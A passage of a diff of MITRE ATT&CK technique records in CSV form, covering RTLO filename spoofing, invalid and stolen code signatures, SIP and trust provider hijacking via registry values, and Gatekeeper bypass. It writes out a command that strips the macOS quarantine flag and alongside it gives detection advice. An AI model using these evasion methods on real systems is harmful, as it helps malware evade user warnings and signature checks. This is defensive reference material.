on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/002', 'external_id': 'T1036.002'}, {'source_name': 'Infosecinstitute RTLO Technique', 'description': 'Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.', 'url': 'https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/'}, {'source_name': 'Trend Micro PLEAD RTLO', 'description': 'Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/'}, {'source_name': 'Kaspersky RTLO Cyber Crime', 'description': 'Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.', 'url': 'https://securelist.com/zero-day-vulnerability-in-telegram/83800/'}]",1.1,attack-pattern,attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T19:55:29.385Z,2021-10-14T21:01:59.733Z,Right-to-Left Override,"Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique) -A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69,attack-pattern,['defense-evasion'],2020-03-29T20:16:36.316Z,2020-02-10T19:55:29.385Z,"Detection methods should include looking for common formats of RTLO characters within filenames such as \u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.",['File: File Metadata'],,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1036.001', 'url': 'https://attack.mitre.org/techniques/T1036/001'}, {'source_name': 'Threatexpress MetaTwin 2017', 'url': 'https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/', 'description': 'Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1036/001,mitre-attack,T1036.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Invalid Code Signature,"Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017) +Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",['defense-evasion'],https://attack.mitre.org/techniques/T1036/002,mitre-attack,T1036.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Metadata'],,"Detection methods should include looking for common formats of RTLO characters within filenames such as \u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/001', 'external_id': 'T1036.001'}, {'source_name': 'Threatexpress MetaTwin 2017', 'description': 'Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.', 'url': 'https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/'}]",1.0,attack-pattern,attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T19:49:46.752Z,2020-02-10T19:52:47.724Z,Invalid Code Signature,"Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017) -Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.",attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52,attack-pattern,['defense-evasion'],2020-02-10T19:52:47.724Z,2020-02-10T19:49:46.752Z,"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.",['File: File Metadata'],,,,"['macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1553.003', 'url': 'https://attack.mitre.org/techniques/T1553/003'}, {'url': 'https://msdn.microsoft.com/library/ms537359.aspx', 'description': 'Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.', 'source_name': 'Microsoft Authenticode'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx', 'description': 'Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.', 'source_name': 'Microsoft WinVerifyTrust'}, {'url': 'https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf', 'description': 'Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.', 'source_name': 'SpectorOps Subverting Trust Sept 2017'}, {'url': 'https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/', 'description': 'Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.', 'source_name': 'EduardosBlog SIPs July 2008'}, {'url': 'https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files', 'description': 'Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.', 'source_name': 'Microsoft Catalog Files and Signatures April 2017'}, {'url': 'https://github.com/mattifestation/PoCSubjectInterfacePackage', 'description': 'Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.', 'source_name': 'GitHub SIP POC Sept 2017'}, {'url': 'http://www.entrust.net/knowledge-base/technote.cfm?tn=8165', 'description': 'Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.', 'source_name': 'Entrust Enable CAPI2 Aug 2017'}, {'url': 'https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)', 'description': 'Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.', 'source_name': 'Microsoft Registry Auditing Aug 2016'}, {'url': 'https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)', 'description': 'Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.', 'source_name': 'Microsoft Audit Registry July 2012'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1553/003,mitre-attack,T1553.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SIP and Trust Provider Hijacking,"Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017) +Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.",['defense-evasion'],https://attack.mitre.org/techniques/T1036/001,mitre-attack,T1036.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Metadata'],,"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.",True,,"['macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/003', 'external_id': 'T1553.003'}, {'source_name': 'Microsoft Authenticode', 'description': 'Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.', 'url': 'https://msdn.microsoft.com/library/ms537359.aspx'}, {'source_name': 'Microsoft WinVerifyTrust', 'description': 'Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx'}, {'source_name': 'SpectorOps Subverting Trust Sept 2017', 'description': 'Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.', 'url': 'https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf'}, {'source_name': 'EduardosBlog SIPs July 2008', 'description': 'Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.', 'url': 'https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/'}, {'source_name': 'Microsoft Catalog Files and Signatures April 2017', 'description': 'Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.', 'url': 'https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files'}, {'source_name': 'GitHub SIP POC Sept 2017', 'description': 'Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.', 'url': 'https://github.com/mattifestation/PoCSubjectInterfacePackage'}, {'source_name': 'Entrust Enable CAPI2 Aug 2017', 'description': 'Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.', 'url': 'http://www.entrust.net/knowledge-base/technote.cfm?tn=8165'}, {'source_name': 'Microsoft Registry Auditing Aug 2016', 'description': 'Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)'}, {'source_name': 'Microsoft Audit Registry July 2012', 'description': 'Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)'}]",1.0,attack-pattern,attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T19:34:04.910Z,2021-02-09T15:58:04.719Z,SIP and Trust Provider Hijacking,"Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017) Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017) @@ -1741,7 +1947,7 @@ Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), advers * Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). * **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). -Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc,attack-pattern,['defense-evasion'],2021-02-09T15:58:04.719Z,2020-02-05T19:34:04.910Z,"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) +Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",['defense-evasion'],https://attack.mitre.org/techniques/T1553/003,mitre-attack,T1553.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matt Graeber, @mattifestation, SpecterOps']","['Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification']","['Application control', 'Autoruns Analysis', 'Digital Certificate Validation', 'User Mode Signature Validation']","Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) @@ -1754,86 +1960,92 @@ Utilize Sysmon detection rules and/or enable the Registry (Global Object Access **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017) -Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)","['Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification']","['Matt Graeber, @mattifestation, SpecterOps']","['Application control', 'Autoruns Analysis', 'Digital Certificate Validation', 'User Mode Signature Validation']","['SYSTEM', 'Administrator']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1553.002', 'url': 'https://attack.mitre.org/techniques/T1553/002'}, {'url': 'https://en.wikipedia.org/wiki/Code_signing', 'description': 'Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', 'source_name': 'Wikipedia Code Signing'}, {'url': 'https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/', 'description': 'Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.', 'source_name': 'Securelist Digital Certificates'}, {'url': 'http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates', 'description': 'Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.', 'source_name': 'Symantec Digital Certificates'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1553/002,mitre-attack,T1553.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Code Signing,"Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature. +Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",True,"['SYSTEM', 'Administrator']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/002', 'external_id': 'T1553.002'}, {'source_name': 'Wikipedia Code Signing', 'description': 'Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', 'url': 'https://en.wikipedia.org/wiki/Code_signing'}, {'source_name': 'Securelist Digital Certificates', 'description': 'Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.', 'url': 'https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/'}, {'source_name': 'Symantec Digital Certificates', 'description': 'Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.', 'url': 'http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates'}]",1.0,attack-pattern,attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T16:27:37.784Z,2020-02-10T19:51:01.601Z,Code Signing,"Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature. Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing) -Code signing certificates may be used to bypass security policies that require signed code to execute on a system. ",attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082,attack-pattern,['defense-evasion'],2020-02-10T19:51:01.601Z,2020-02-05T16:27:37.784Z,Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.,['File: File Metadata'],,['Windows User Account Control'],,"['macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1553.001', 'url': 'https://attack.mitre.org/techniques/T1553/001'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'source_name': 'Methods of Mac Malware Persistence'}, {'url': 'https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/', 'description': 'Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.', 'source_name': 'Clearing quarantine attribute'}, {'url': 'https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update', 'description': 'Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.', 'source_name': 'OceanLotus for OS X'}, {'url': 'https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/', 'description': ""Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017."", 'source_name': 'Bypassing Gatekeeper'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1553/001,mitre-attack,T1553.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Gatekeeper Bypass,"Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. +Code signing certificates may be used to bypass security policies that require signed code to execute on a system. ",['defense-evasion'],https://attack.mitre.org/techniques/T1553/002,mitre-attack,T1553.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Metadata'],['Windows User Account Control'],Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.,True,,"['macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/001', 'external_id': 'T1553.001'}, {'source_name': 'TheEclecticLightCompany apple notarization ', 'description': 'How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.', 'url': 'https://eclecticlight.co/2020/08/28/how-notarization-works/'}, {'source_name': 'Bypassing Gatekeeper', 'description': ""Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017."", 'url': 'https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}, {'source_name': 'TheEclecticLightCompany Quarantine and the flag', 'description': 'hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.', 'url': 'https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/'}, {'source_name': 'theevilbit gatekeeper bypass 2021', 'description': 'Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.', 'url': 'https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'Clearing quarantine attribute', 'description': 'Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.', 'url': 'https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/'}, {'source_name': 'OceanLotus for OS X', 'description': 'Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.', 'url': 'https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update'}]",1.1,attack-pattern,attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-05T16:16:08.471Z,2021-10-14T21:18:30.629Z,Gatekeeper Bypass,"Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper) -Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X) - -In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)",attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e,attack-pattern,['defense-evasion'],2020-06-20T22:41:20.063Z,2020-02-05T16:16:08.471Z,"Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","['File: File Metadata', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,"['Application control', 'Anti-virus']","['User', 'Administrator']",['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1553', 'url': 'https://attack.mitre.org/techniques/T1553'}, {'url': 'https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf', 'description': 'Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.', 'source_name': 'SpectorOps Subverting Trust Sept 2017'}, {'url': 'https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/', 'description': 'Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.', 'source_name': 'Securelist Digital Certificates'}, {'url': 'http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates', 'description': 'Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.', 'source_name': 'Symantec Digital Certificates'}, {'url': 'https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec', 'description': 'Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.', 'source_name': 'SpectorOps Code Signing Dec 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,False,https://attack.mitre.org/techniques/T1553,mitre-attack,T1553,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Subvert Trust Controls,"Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. +The quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021) + +Apps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by 